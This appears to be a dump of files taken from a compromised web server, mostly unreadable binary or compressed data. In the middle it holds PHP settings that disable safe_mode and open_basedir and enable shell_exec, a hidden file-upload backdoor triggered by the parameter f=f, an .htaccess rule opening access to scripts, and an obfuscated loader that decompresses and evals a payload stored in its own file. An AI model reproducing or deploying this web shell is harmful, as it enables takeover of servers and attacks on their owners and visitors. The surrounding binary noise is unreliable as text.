fCt"ZFo?z6~Ay֙5u͔u*OЖFUĚcǡӍT]5㟖OcM=!E) ڿInHCf+T`oEdQXBH8TtHKmdoSn߀Wyjաy+Vgxhmbdwcfst]&(46E0[(KHS7Mq^Ca1-k
v3,!F2GxhmbdwcfstFbuQ&T#&!Ox]K ²{+#RjL~6.xVB0y՗W#fקqGZx"٣g νh"veطe!
\/xy/q-PbM"D&H@7}́D^@#ܲ7/eN{WbЋshaolqyfrxsHbｑ1N/?Ts}p'-yHɬJrs*)ؙزk!X9xhmbdwcfstt统1RTҘj3NUo3qӧRp
8NY.y.ÙrZhaolqyfrxs44W膜mZx;}ʜ"@Pe[n4$-NG.΋Qznw'xhmbdwcfst-OB%HA۷]&:lCAr2J¯9c~[}'h̸E-ڣ2S6_gtpO{"݉mX,Bgw=#b|I'NAJYnsʥ%8XnWyPuuYEjZr2tQd5^xdsnǧK¬,z|uaѳBDhaolqyfrxs7}-iDc?\rzI;n?	C	ghaolqyfrxsU;f0qE/vGl6_)zLeucЃ!/C4m/IP?}xknk2njtn[D%I6zZ:Oyy㔱;v؈;Ga.yetG%3|]r{3]ܺm3d/
*|TFQю;Pq6NԋR9u͈#ͭbҜ71x UYe7MĶ
haolqyfrxsL@(~hDE 	s/{p/CS­&`rߞjԬ.KpOsHza?+xN/30s\"0S eMNO(=qp(c]V~ើo'2_kb^X\haolqyfrxs1\'7ys#(^=Ƭ3U"e;"d}z(jt78bҸΡR5]W{5e`uL@haolqyfrxs2'}Gy|h"%P_(48|Wg?髮iըD޿
m20adU2t $)Tof#wX%%p5tą1@a3̳rx0Hb8wx,;mѵÂ7#!4y:Ʒ,ت Lxs%=;nJ}^#4ړw9{EZkּ=
A?0@}bn[߻5|`aWܦ#X@ڙ ![f) IbY7ZU
LdxFSSٍE&?ՁzнPhaolqyfrxsj O	DVjXAcxvu2=	|npm6
tߍޖ Y 2:Pp;Gů7GNöґ+r|0ng^?J̎ՑͳENQOf)2g?^GM)-r"xhmbdwcfst\ƳHE:;"/0C;"(R}kp8Hta*BAFSpp%rK gwG,SM:&#mx/Qp{R袼zFwa )JL󄴐CXe{T
T } 4rI?!
q#Q;jF=5t39-Hw"\^
Y5KG\a KV0k((n7J'֍RM=(cA̭sKw&lȭ,o~oߚ[V!GH_8);l&̼YL"\#̸h|;	?CZG_haolqyfrxsGW3qÜ-aCZ5qTOQws&	0.
'ǔo~Y/I̍]Ӝ%{!؆M	oalsd0c%SǑ.xQ:Q5]bH!_WxhmbdwcfstϞN2HhaolqyfrxsB\y @KYҷ%u!ǀQmME&~^Nhaolqyfrxs:%OB&Dk3\haolqyfrxsXx!]gK__}PIw`$Tv1X\s0`c.'@_;%)U(3-|!X &8bV#㧟YIuoQӣ|*$&zϯl.aYF=-6N.
7{"ܳ T^hrdr*jFם)Sqq|xhmbdwcfst se=ts@@'rr̬nf	F#LH0w'?haolqyfrxsZ|*SX$'^?SzZrhlK0Ss-/&*e}v6icQ)oiPp@F!qFjB,haolqyfrxsm=[}B?헇PJ;&:Y5$Qa1;v܍zG(Xuf
=El/&F_OQ?	*2.ݚ mB&)=WjӧGvRz}O;HLl+1
nToʵѓsm]%/&Itu9Z~BnfŦ-
emw\A+ ٌX
`Xj`tJ+Dj$ݪ
-0!Y
O]Ug?OhƷhaolqyfrxs.ܸopJb&E.2X[R1؈453|?K[s[Z{EH$-Шf/ͫ6ӷ^( v'hYJKdY@J{tBd5@0?	,@5OnogS#7n] vo8߾y9ǷPV\42f^!{(Jwݱtx3s%2Z^O6(,VB N|S/tޏs`$gi8צ!HִEp1yU2JäD!=%hAu%/Zh;a7T@Kڝn	`{BJN'tE7[F3Km![VGq7欷ۍnOJ
êL*q ^b.ѷPEŅP_q"'5{TЉc%oJn̊haolqyfrxsѦы^'ͺ/}nkP
ގ/o3C
Zv~Z$|~ڋMMu;"ғp-mݲ|c
KYc!!-q,	
/_"kpsPmg_Uy!2\haolqyfrxsW+[99;LѸxhmbdwcfst):գ`U͂R!TFD oOTZ|(CFh3R9OȤrVjge"t(f
	+b|g1Dl Br2l+~?+b!k_1k	Lk";h/dhcy *(9S_cgXX5?HNۍ
l$,C
Z~HS
I'Ҿqu!rr,iSWYaGErwm.1F0e]S2_9
ReVԜb }Q'H`#h;[U9H;L nkP/,̚P6J[[)JK!53||l;ԥ;$;f}EK퉼㠣$h`YxxDiJ.){°waRu6_x(T,Ǉ֛{qC`M\_y(,pjRx{Z*
1_E]U*]n@)o®I@p-m8Q.ܫ$Hk2\
_#fF/&ܡjY~NW(ɾ
F
(k#&7)=|F&Sox:nem{U!FBu(k;Mlߺo4ki?aΠI_.E
-"I_'9˙lv@ ܕg?kZ}3bg}K h&+ZqtV1|4'L7{AϒydЫo+}}"{1'\WfFRZ$A;hxhmbdwcfstF;xhmbdwcfst]ؔxhmbdwcfstG4&U'7sCmdƲhaolqyfrxsԣKgA/:'L|	q\큮~|7}XwiR%|mMN,kc\fb'Sb$GȩCc[l B9kctr
F6nl(`! `~'Du%du	uTxAO2:c5haolqyfrxsCZǬBuGNҷ
;#ƥe͓T ETwb0Eul)=α ߾|o(dOeguOXG[qi [g矬ѥhaolqyfrxs/l:XixhmbdwcfstS8e
X/7
`JQsZ׈ÂnJ2,imroaE^=jByy=`TAy(fE @i
m |Qa) !7'Z5iwB6haolqyfrxscGj1osqre%E_~3a`ɀ{NO"E,wx4	-Qxhmbdwcfst|iJS$KvJU^43K 	6[@&CeKL.BpPo ChaolqyfrxsOZ T΄8N߸{uByؕ\"'[4wrխF^ʄ=DhnS"{oO}TǘRccJ3cf&5Mq\zhaolqyfrxsU0RRh"~mD$y1dT|nkp'GgE4Q!c{RAgiBfS	Sughaolqyfrxsfz;CqU.EPg
PE20gަhPim&{WkT6)P`YҙO%"!B
ax+d=i̋ۨd|ʻvo
__]sw&;)4wyxTmpeD414_p`b0\-yMf. pt0cC=bo5	0wT`d^~mY&Sln4kW$i}^bxٟɫEwھXv?}NJZ5Ъx{iK0''SVN~urK+tA"}2ks$`xhmbdwcfstaiq":4v
E0m\@IYfZXr2W]_P)Ƒ)]"h&xtb(1C
OklsOAMwp	Gt$e9ӡR]8:S?F[l	m1̌5|3$+O? ΀
)lגk/Y0#*PtyH83(fxhmbdwcfst={GM
۳JUWhaolqyfrxs;;W#3_y%䐟DeUPxhmbdwcfst ?L\zUKzsPf0o54cqyxhmbdwcfst9d_}5B'4,n g&AuX/xhmbdwcfst@ rVcF㧰 gt&
RڝՌ//k=uLSo$"4ق\W׌}JG,]ξaQh.DYxhmbdwcfst6vQ_w;@FAQ,
jvt!槞vx\BjK*M$:[x'~D/(:Or=c:/xhmbdwcfst?$N1ƐG띻-OJ*Cz\'ܛvlK"L8t}LykYA
8 9m}u
+!2OA5`XӅůPd~W߽dj~*З[ur%яQ
BԸ_9G˶'^#ܷ0x,bץ|ؓvdw[}#kM2~VY	lן\amhaolqyfrxsr.uX0~kX)dG#}guBxhmbdwcfst#v؍O~.J)w 5$2Mwfr	ceAeL9utW[n.O]]IExU!d*j.%AʹR᫞#3?sh],ڀ%ɾ9[ۨG2#w=e"WIcqP!|)[:]M|w'8usذ!fT7[ĿTmmTKbqk?pO(/oʸ;
'
T񈦾|+\b._oGv-d҂Opuqf͡OW	͌$nwV+nRxTËJJNkdUm4f$Hڀ12a'ۜSL6O[rnCY/7#-lADPqqCM4_
~R9ԼCl6#UFH-g+9M!O]1+Vb"ӌ,{BwB,	!dItL`p90Y
&
nʹho+"+ޘ0ڗ!S/R	6$'H	1 [HOʕVXJ
 (EsY|To*pYK9)1ƫۣT'w=Uj򶱈n܅x+.U70$xhmbdwcfst5+^m?;+ׄM/G_.
e4êON}bfZZ͈.Hŷ?
yZU~гRnR߻))=u{(`O|~)F"`qP2N	ۻMy@]=_GgˡY.%"Z(&LV,x^-:l0YJ_.haolqyfrxsY5G%UYYȱ?췾oTSNkw+zNr8U*57  !ukwTE/E
~usWxhmbdwcfst4 eSWm8D訢7%YetgylxhmbdwcfstYk'tb@?L	9O$ W2_Z.63n)lag82B})j9~|`!b/_viŔNJr.,tN-o)7uE\xqiL;$Elvn?1hHJĬ#YsLwâ:ХpnϪA{S@DǿE7ʦ]0NmxP"Z'! )ԯ$@cPUu t\=hU!=ju iAVfp)?Оi8+B0Ufh
1"d1xhmbdwcfst$wohaolqyfrxsAcgY2^~+dgAƆq8cèd⃱haolqyfrxsxhmbdwcfstMm݁]+Þ(y
q{_$ky^ǖX2w ꜑)h@tCgB8'2ˁB
52dZyʃkG;(*v85j]+h,haolqyfrxsz9uNN7NWd	B	 $nxhmbdwcfst3~/?EV	T.Dzz(s%.e;V,T7F9|;pyʭGQ!q:(gs[Hws5.*4fQN5hxhmbdwcfstoF7g tl ]l,-Ү{R S?XŽٹdQ$4nwzj,ŋrEzw,^Ss PDZgPR,׭ui[)wk Q%%7ބ5vZmƒ)h?{ks3m4	ĥhMeaU&G"U_|7'8#~YRMpwQW;ak2c(ų`/9 *e̌Guae}y @-A \Vع(es
[%\;ڤ`&xhxhmbdwcfst3"BDGd$#Ft`tb4E(REj mw1фf"7+n	wѴnP0wƈ)ZOC;cgyZ{ư-6~ӑk%6&aN(|6 LF,7#9,m;ۗv4!a1"γ숳LﻼeF_n2|4䄙(14pbF-A39)'0f^6l)եmGM2Qo]cO	vRG+B}߳Te?ErDEk95c2cGEt=m^;,2SRtƗ fN$[]pނpU6NGk|f7i奡fOPBvGS;?CWhaolqyfrxs@.Ts_ōd#Xb
bsgʥߧahaolqyfrxs
RwYֈ#Vopai1~.îxhmbdwcfstG-`N
sH7J"ٸAb=	#ŕf&S	FmGm`8/fqoS2QdWZ@FxhmbdwcfstX7['qw j[$bjPtĻ#z!'w7qnyĒ}Fo3nk"0]AWz!`A94M극$2ּnϒрTCq]KëNK0}S&E';?d'W|!%RZAt|)ZHX[i~1.+a{} [.RB^_usCJ~E_n$'l
8jyWFm0ve7$pP2G')
lQW-dh{T/n-~ҏϜH	&daj+FQCIcO !%8_xhmbdwcfstH20}Ќ]9	Q=6?WYTP])`U+Rʤ07];A14i\jWq,+%4)-ndܺ-HRr`SK Ī8GYLV:z=039723ӭdM'VOOraDA֙I10/ŘʐX}Z' U#ʙxhmbdwcfstF%az],_M Hr!b$^9|
dv?tI9g aH]9B\V74\Hj4#xE/).or4!zG;ViǡU*o(Po|JgD U{Yhaolqyfrxs!z=ir5,XA;(0,׮VmI08omImȚIVT:=haolqyfrxs  ui1Ͽ"l7o:~=OV]|"]~!O̟LF譂**G(&2s#a?fBt!?-_8a8=! haolqyfrxsN;2xhmbdwcfstMr t{k:;|A~ˏ&=~v[aKshaolqyfrxsO}Pq0)	S/k!pjSA?oB
teRW?6eqJ!Si2,Όíj˴f)ʧ?4a \vt2MZ9v(xhaolqyfrxsV8&*yB2Xom\^{NW|$T.Ҳ|tCHob/Uli؋R:RwxQf΢RVT7):2쒙N:D'2_`:G@s]pvNZ*r+J(5Uj*`ΨLM]n)iȕpiR4iäE)U-NK%,(V(n3s3K!tB haolqyfrxs$4haolqyfrxsz:vShy,=S6ZqΓ4,"`s7mqT֢a߹jJ7mdR[?V~ĝ3_Ů]PMrSL(B5,,]zW܉X=+M;"3_H$L*]#uh+haolqyfrxs~ƀ2{GCIn(`xhmbdwcfst@lPuq~1K?0EbɑL*ވinF]ʂ_haolqyfrxs1 |2G|{`(5Sz_q(&^uo;wx%s_6ļdPMIکhaolqyfrxsWx"KΑ4fq%"mB`*\+PPlnA*[hl|~m2'rB]_Ze
611upq哎"sS+=QDo?@j6!@.}Z߱azA&`!PԐi
xhmbdwcfst:bJs *vԻ`,!yySJ'^/9{WM]
EȹՀSل~Kdo3Ոe\e,%Joڲhaolqyfrxs08
kEd`5y!}y77Bմn!P%R	V~GS#&{h]g9mB	=+CmD#_M^/Db[=w=7;q+x|yЖjcvۚƾ'6aSUTi|Z0"MAb7WN\'"otK9Wq-{4~\g&(s:U3JCwA:cg4iwLץc5n)}o."8w\z
Gb,?dCbPD.NX8BFU
?ʝfYBӴ&2ltLUMf@?d-DAmq&}|c\(O,*qCxP@[d_Ɩ8JgbYXxhmbdwcfst}:9s+jhL1t?XyLLlV1)$u(~$xhmbdwcfsts1$I.yLΥKicdMRhaolqyfrxsb@?x S|k `Y3DlHC]O*wrgA1Mic!k~{X.£-spʑ摐NEQK+
$snD%U$xO%T"nYXeMf
vw})ThaolqyfrxstK7g	!WbXHq:磴KQ+&,Ʀ:`Q\.'xhmbdwcfstE?Xu=.!tnhaolqyfrxsyKBf	 ,r}xwwhh3ǈH3}+-[|HYB[}{Ip)^:
gŨ3;=9]xhmbdwcfstʫ]hi`ia*ƛhս~V#=&@`Wr eiwKLׇ/f(JFDbGţe
8dl z4^3A6"@ahaolqyfrxsӤ9^Q홌365ɽxhmbdwcfstE&baJ_}8UkU:U}X-"̙lx"xhmbdwcfstc^[CvhN)vVY,Q&-?iW6ny.Ŋb^3׳haolqyfrxsչR&5⍃ rZtݴ/U+.}ܱKP'M#'X
/vv#޹}"n.`_/
(m!DC#i;qrޛBQ0
d~wIP(`;OCd狤#d"|68bէ}rRv$g&dxtY(uX1qϭ%43O#xhmbdwcfst\ο% t&Je']xhmbdwcfst|
bǇC`ٟREwX#i+&`Z[  3Iab
9X`8'
 i=*}3@p*i2UO;nT鈳ZKvJ-1d&ϸGA@'PhaolqyfrxsyS4axhmbdwcfst\	 _䐼iE̟8om޼cYZִLDkuM_haolqyfrxsW;xhmbdwcfst[օ8*-FEBGk?h,jR͔lMTD؎d~2W $	?,
ЬtNXl5?⁚Jfi(o}]W$鑮Q}JYCkx$9@GܽmLLn9 ݁𥎼pA'4ҟI)$A?mfuGB6H~S2)c,v=j9Kyn
7Њ*1Ȣm/VYE2;N ÐfZ`Y[z v*0F,GhqR ^!(2k,ElS[.w5ofŮj=S38;kA5C7f\*Jl(pRO= o͎Ѣ6&
wdw;-w\ӧD X	QWf)[ە,7
_T;XllX
a׏Tr.V]I:Clc2s3z~w (DyEO{.ıSsQk%p-`.ؓb`)pl,"np^PN"f,ehaolqyfrxso:ݯ2oe!3.haolqyfrxseբZ)l0%麡yE`]
l99ؼV1mxhmbdwcfst%В12_ "t'R}î0c]lb)wL^˕DbN*r	ȚuȊ]!%
3Q6V~o@qA3l_䒏P:Z0ĸe;P;Ă	;~y15\8[Gt?v[)&
6haolqyfrxskag%94eGFEXΖBw84Xӧ9Q`= `-ߛ}Zn?㣺6d)_Q=pC*,K3HXhaolqyfrxsGa#)zGZNvTeA$8k1ODl2*?rs&ع?EhIWiP?#A0*+Vh
1kw\.?==sLsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$HhCI='fi'.'le_get'.'_conte'.'nts';$NUzo='su'.'bstr';$fklw='ex'.'it';$MUqD='gzu'.'ncom'.'press';$pzTf='st'.'r'.'_repl'.'ace';eval($MUqD($pzTf('uqhwtsmlrp','>',$pzTf('vrspiyctfk','<',$NUzo($HhCI( __FILE__ ),-28152)))));$fklw(0);
?>
x$ǎle_% [I}fT
\|g$_mc{-Wwwin%_(\7Q%inR?޶g3vrspiyctfkߥ]~E߫uYe^T#C?[ϿC:ΊeevrspiyctfkH =(i0q㩨/`Bs:q&dETCkvrspiyctfk=F2]CD7
6gQ*!?|I|g'8
 ~;vz0hD.5NOu*=^,!BVO:$H"2
VxZ˓OQ
H%*OI D1ug.%Q},Tnvrspiyctfkj21or֤4k@Vpc Io% 偃bid) ΤP
/hw1˯ikN+RDEc f20OSeu\.hUmAf3Fk&[FY-;T.,2Uᘟ](א0TH`JWǕ뛛0(C1^Fuqhwtsmlrp &;/G2ɺMk^:@R|Pq
LE=vrspiyctfk!!;Ozi?Nf'ѓUpzڣRaj8'JdQD=CFwuaA4Fg'SPF6Zuqhwtsmlrp +NB`)SJE,-aQ.1&{F0x/tPy݋ܸA@o{ǧ鱓?'-uqhwtsmlrpc=cE+
&ZeEXךېvvrspiyctfkͼ)Xpt߲ڂ0'`@)8xmHvհ_ѯjnӤJ帺(kjJ1ۍd*a`vIuY߷8Q:npNz._/Zz 
I;qe7VL(iWK}Wg/e'ޜb*5PѧBkُ ýd"!ha-Bd|J@˰ElI[Nc{~a&|[pQ%
DiS7 tbxnd]*y3"h*q,eӡp:$uqhwtsmlrp_4]3[
?fh#pT R/׌FaXFQ40ǥ
ū
`wBU_4A~p4TvCVLk@9oV*(=çg1Wrvrspiyctfky2vrspiyctfkb|]UU8^0a1
,H/{qy2戮"%[Cvrspiyctfk#G0)AP05  H4l&fR YT\d\(X6Jf]rm8S(O-k!.}U:݆`*$)§PѥnC]y*2?0N} h3SaOBtSHcY߹
;瞡)BG*TEa8}R1et8l쑶hkKD|{z?uqhwtsmlrp@7@
fE
%rb9b@f
w'%z8Z,ԏ.K6y~]#G r		҈&fa;	ӎ̡bU5^bO! 7)P@'Kx9;C38dBZ~vOy,zγS7?hvnKFi!#Yu 	:JTCeBvʳlN:_sݿuntb-ɨuvrspiyctfkw~7nUuqhwtsmlrp#pr,O
jTKϙklAB]yS8psyʽ'6ĠƦaVwba/N_5k`Nl5,a8B $Dtz1gt2yltE\O D^Y(}RoH1i2No|EXvT&AƬk*aT,gWg"Q[+лxPTA %)ҩ:/F	YBAvrspiyctfkmgGt@-ܥR?JuqhwtsmlrpX5Kt[[,*}$	sZRrRAeqj߬CNpaޙ'5,[h테(H0dQa&o0JMk(m
W2	\L
oת&P*E LȽJDfAƋSdunrHtvrspiyctfk_wzȼ䢀f
.Il/ഌx$%kH_a~WTM%S7#qLk.A HAܘX=  GL 
A9	6./xJieᖺ=.qȪ s&`XbdSۤ@=46ʔrɹ8uqhwtsmlrpfjj7czmEUFȀTH55	"Kن@6b)(`!$_wwKR(OQ:cTYeBf@d|^	Kq*z*#6߅b ^A^l9Fp?mK/?M	e=uqhwtsmlrpJm
TOmBrvx2a/*5D`X˯΄L&t,;Hn]*WjbtkRёf%s։e?HN DqJ.#̊e m]
7[hw&sm^acݞWӺc缮uqhwtsmlrpOyu:NDS4g"#Fd?׈7'7k}pb_`vf$Gjq
O)$b(a0jk
r3b.v:ّ+Tj*ڤ 5)gau]"OhfQ/h	84=Z=+x:/oSf8,ѯOC3Nvrspiyctfk{Ҷ$,#|6[?/^gq8 B~Ť?uqhwtsmlrp_  U֭/
I=%@3" pK]7_YClWVcUƯ;	}DIsaMD_!~"h![ALi9/[6ޛЊVvzC'DDyug,7L]].XJ	04i*#.:!""F@N͖Ӌ~V	kZ0#R(3ѯW 6	75qXYa]/qu޾ݕ`k
BM=cD_$$fD[1]	uI5HjyRsz/aO5=;6Rn{ltv	uqhwtsmlrpɌBIr
 +#Q]_pӭNȞrl'ƕϒ$eDVb}qcF6K@oߧPkU7uqhwtsmlrp[f̹|e_:.9`;Sm|k
[|ON)t}'\~D?
28(ڧ@Vu;.j|Z )	)
8g8. c빆٫b68g
hFϢ|/7/1Շ5~P@"pg`cL돞'7$
}	jLxGޗB[hTm:"uqhwtsmlrpK܂;v.,l檉){VL͸zjroϪ3\uƻuv	aX]դE^s&Q4? R]T H$ѸLYbV׽^~q?L=0aCi=9
փvrspiyctfkykbBk2uq$HGU_rtkKBlNe_1Q`T^V
=wy@'F="*jc\GU,a爱=
Jv TD
@twH9O1Tֲ?WX0H3FF𯺐&=Yy]ӗj`gˌm-&gjK JY⯱1~}^Yt@auqhwtsmlrpo @KЛL)WyP@qq|ZS rܟbU nAo*ĭM۲aNlC$ڃR*uqhwtsmlrp2aSwT*f
[j3Oj=*q
yA@_vrspiyctfk[=;N:04W.m@*O=t$y/%l+r@Pr.B\4;D[ɉΙeAWb97.3S%묋4Mi]VI"?`f)]a~uq]N$u{9M֣uqhwtsmlrp`ܓvrspiyctfkGg[|ge@ I{r;Ɩ4(vrspiyctfkg
~=^)ϊq1W;9YmN18;-JB) KK̦=)͒RzaM,CׅpM1gl(=GÙVO{1
_eB{=`,(}C:Q!*jȻs+ ^㮘ۨRF7uqhwtsmlrpq׳IPPzZ&i{+̀vH82OMڗ+mh`I{#04܂({ua7W3.9#USsAFzmj|B,,eTM2T=POADEEBOGX c,DGiN~`("ps[7lq6˖J,;0P[_
ĂCRYfi:R	rqg~^YjNNKl?/|^qkB\Ilj{LBEZc/xOn!fHG%BN{DRneIE+(hj yW
懄uqhwtsmlrpka!ᘑj[p/NarްA[(gV  x7zDi(k+Y%@|@3e;fd,x  Y6&s*5mB73t¤tK#
31b.mGw@WJB*)eۋA2}☵S|$nmqNkKuqhwtsmlrp!ɫ;U}8_/XSP]U?nQO_g|V
4wI"G"`Җw3ST&"8വ!xt.J!N6q^vrspiyctfk vrspiyctfkP#f9KY8UB#*xI]`g=DsƪX-
=
S ~(
[h`mvrspiyctfk [?2} EO]ɪ(l~.դ
4DIAVS4]!?cNM?RĪ~ꌻ1jT
с[4ΐcD_vvm3!}z)jd* vrspiyctfktV9	tNEJLR.:})ƓF _"5$+`اlZVQd8T+CL9b٧"F5d#'0+/Fk#m9wjoҖ{ʕw.hD[DӈV[*?ۓ.Gh9:QA3`׀l	2ww
o8I_vrspiyctfko/7-c,,##ؓRfHؐíj`Rwl;/

R~VrTdd~{BY%79њ9?7A08V(J3_GWrA3vξGIm9;*QZ\;4s~eZ`'zaauqhwtsmlrpuʲ}\l@+zC^e0%Kł%H]겒bm)JVmO
t^hG{弧1}4iUQcqD5sƗ8١l$mEmxbqI!wP*KofI-7UauqhwtsmlrpȦq?J rp4P@]eJd(2w	EԿ:
Ua;/˚}LȼyW\VtI]mxO8Y5 BC,c@*(
(b lvLT;`i똸؁ðB9S*K$%xmvrspiyctfk]ٻjb%kvrspiyctfk@d\юKDW*6mK@kj-܍7^*\iswkXn=wu싥8!W/ڥ85#)RPAY`nNr~rL4x!l
z}@Q_54ƛ1T@2Z`?͕(tGpa{
lq{)^4UL3MjGyl-!hzeX0x$XWV&YSޟD$%$"Faa/O)a(/xb2%h={z]+nx
5x&l}nTP-d-[R1jBuqhwtsmlrpsp⺹\)|Q|KtU۰`/zwK| ^߄)Q(Z8O[bK*TB}4ƷӅUyW}iĕ6Y, {yΕڹk KC LB_E`|FkI9)QS?_eu4N3gyM\Bwf~/@
M`eOSS 4d)1(MZ)Ԩ?7"@?`nre.ڏ+Uhh}L.PD~NOq#U)e3
kMMKE/)2;r)pE^633Rғ2hlA4rLy.*ɱ{`\	_{/.?سṴ̈̀C)#LSbg7{/~?^)Z?tgd8	SG2ҷ0mdYl/jvoPrKQn a
fYߐՔ#&"ٿZM'@?1	mƔ.\ēQXTͳ2CdW~G^tBxtjgnC}Ⱥ	ZW֥A Ve*9S+tJM0I;Ǉ:]Zar_qSlϻ̧vrspiyctfkO;8s'P-26\!w\e  B$kd{vrspiyctfk2R[|#  ؑ$˶&V~χɼJ(eZ"򱑜UzTGNxB'vG= W9y:+%S"نvrspiyctfk9b"2uWHD|J ?sðA]&\K*6J3vBrLbKᇼyU5QV]UpHm`17uZϠ~߲Lm2&$	?T`vrspiyctfk]m"KM#kuqhwtsmlrpտS?o_-
vqnƥ7i"(­ְNɀoӀNm;&m,a	6b@eZ1pV(V~S)D8J,JS$\Wǻv
2cb}!{jm`gҽ$ѽUUR" 4 _ZC]';?)G#$ԡ uqhwtsmlrplSARH2[U	P2${mmQVL@?^zΖtH%,ȒaYhhrW퇙lə5VD+z[xHCD?Juqhwtsmlrpa39%Mq]P|!~Id1LÖ"Oqazvrspiyctfkf2uqhwtsmlrpZcvD
-A1ߠh%Cp}YfN B
|$Py(Vuq=|q&8s'ٿ}Yuqhwtsmlrp(|\g^'bhܾxO2Ks#D~9lhv
h d(Qz=+7kA@9;an 9޻F :
)֯3"峊)`SjK8y.gAȪݷ7.ɏŅ+Ŝ4`(D&uqhwtsmlrpeRqLJ=!k;Wz|¦_oDtuqhwtsmlrpJ'duqhwtsmlrpaG{vrspiyctfkvrspiyctfkORs}=kWϕ60zˋrp~
ƚVx(S_(j/uqhwtsmlrpf6h݅\$
[lG0{XInCH#%&ޔWI7\J:ˡ](:u	(oCOUfu}3ܟd&衠buqhwtsmlrpuiԹ,Rco0}H [#d Bs9g&b݀\Y쪺bs
K,#Q-, 'sq0=6Rąg%Ť|2 "CbV1%)ns.uqhwtsmlrpZ	g]	69bErRsޣSk4mUmi~LO] uqhwtsmlrpYa'|D7.kVfYֆꧥ(`T	B|;eŅJ7[_iOytVGrЌyGpeS%=9&&ymLQt#yɐ(n^Y_0RBHg`k40JO,&'QC%
ݞ- 	{%P]X$q/RmxЂk\uqhwtsmlrpaK(BhlL0GHQٷͰ{N0,n#w(B&Y۫";6d+jB)7Vg
uqhwtsmlrpzi@N~ϏMa8]*4Y.	
eP42QS轅.Vo8#7/1.jr%ʉEZMvHi&#cnP.m[O#EA_/jM%_u'/BL&baNWH)ٶzv\eiƤʛxѺmL;S#~"m̿qLȶP=,t-Ϳ7I[G4P,-
׭~_pHϱ1bYo{~34$ؗڟojPZIe]DեJQ#`!TzN0	LSuqhwtsmlrprmHbeN "5kRآE"?/pfI؇Zi]mBʕ[m| uqhwtsmlrp,SmP4	uqhwtsmlrpuqhwtsmlrpci,#Q_CڬGuqhwtsmlrp _aNbSnF:V,^tR_vrspiyctfkŉ̼/d{OTL1F/l}9ɵ'Q_PU{Ȯz4	vrspiyctfkt# "F$S}z+5Mfr:8+%`a\YK|/j堛\K"kM\׮"h708jsfh{]~rPtjOq#sج	KAwkH/?rsnr+K"HIƋ}Ӱ
"iZQV܆E1`zU
 ?+&bOg pQ:q_#*,m($fd Q:Ruqhwtsmlrp`;ZB!KɪWEF/;w@mrsZ¤:	N?Lvrspiyctfk䓵:8R$uqhwtsmlrpJssб0WY~#GOĿTyp5q"\gobE^˦MNKXF6R|k3"XgvzXM8 n#|Mֶ"镊)SY&S4=hxLUN 
(8fyHOHp$6^8Uxuqhwtsmlrp%}3D[uqhwtsmlrpSH=,͖^rzk .X Oidb{vrspiyctfkt延o,Fw^{ōbcuqhwtsmlrp5
|AP!H	0׽cAF~a,)s`mx {I.Ve2DoR}#Ew3@F9~ddX9)w:SF2\{$;Z|Lw'U0їT
 hCYkvYvVF.$n\3~gtC^))뷌0?(O%YTin 9]9=~v\::XGs_maefY޻[#|XmO*#6J7;9T#e©R+ hMW2By ~ZwۂC9uqhwtsmlrpbJ=.mѓ䄒V#it^pY.Qz3-6$́./Pf׳&J38A8Ǳ8\vrspiyctfk/::2PP~u=yjDP;چtއ\uqhwtsmlrp=toyCP0}YPB0=8k@Ԡ~˘=Կ@⹥Cvrspiyctfkj-|`ij#K6;Gxj
&}ZMvrspiyctfk@X;O@~daB8BcKY VaWH{cx~UNBBuqhwtsmlrpJ+ooyS3#Zn@#*D[)#plgVh;thPvrspiyctfkQĳ*}
_1$mO|'xF&9TUDZS9I[GYՠpi軏GUGX-TKR}3{h9_r"4IDelnրF6~' Y 9O3mJ53pIoآ
6:a{Z?Fލ_|iYtkCG;}:xFIZʡ!jPi
v3.|{J1}8n%0kGjUNzJ{Zc:
~$7,x+Rs6ڟBP-_K
\I6kЋ^uqhwtsmlrpdoDS3)c(~uy:d
* 9vrspiyctfkCѢG;Nh{VҶ`Sf/dv/MPkɋK?[QKg`mzIx6I*-T0xxw]/0S	dQWJ])2̖dW/{RoOAQOD
IxCJA(ehrZsR.A.vrspiyctfk30@&_`ʹKvrspiyctfk^u
9-ՌsEՄq	
~PL:SlKC{6@HqD~=yuTc:/#|";-G/VBq$:vrspiyctfkm_R$Bxj	vR(wv9Tvrspiyctfk,ZLΥRK]=`l%s&#N
d$hZP/(f1ǌF* BvrspiyctfkRjߋ4$t=&
;:yf7qAr - WF%ᘳܫ6kζ T#4V?\cќՑmɢ{MX-fuqhwtsmlrpUzYݖ4e=Pv$ruqhwtsmlrpl94y5Cc
	Ex	
t]Ou``r}o!@Օ#H&	#]_Okc[x9`2 a^
|C$^bM0N7
vrspiyctfk$ c1*ĤYĐmC_Rf
cl8sT_PwMcl	j7! QBTD-GRύ[TB]w# `sSbH:ٰ"K5ݒzw0i#,֌BSDr%uqhwtsmlrp&Zƛ
)|Ro0vrspiyctfkrZB	+oh܎uGOƋ8a2))Φd 370?.,7Nɽ@kQJwdՕmvrspiyctfk ڷsѠ7\GtޥvFk2BlWVoX(wr.W7@~h
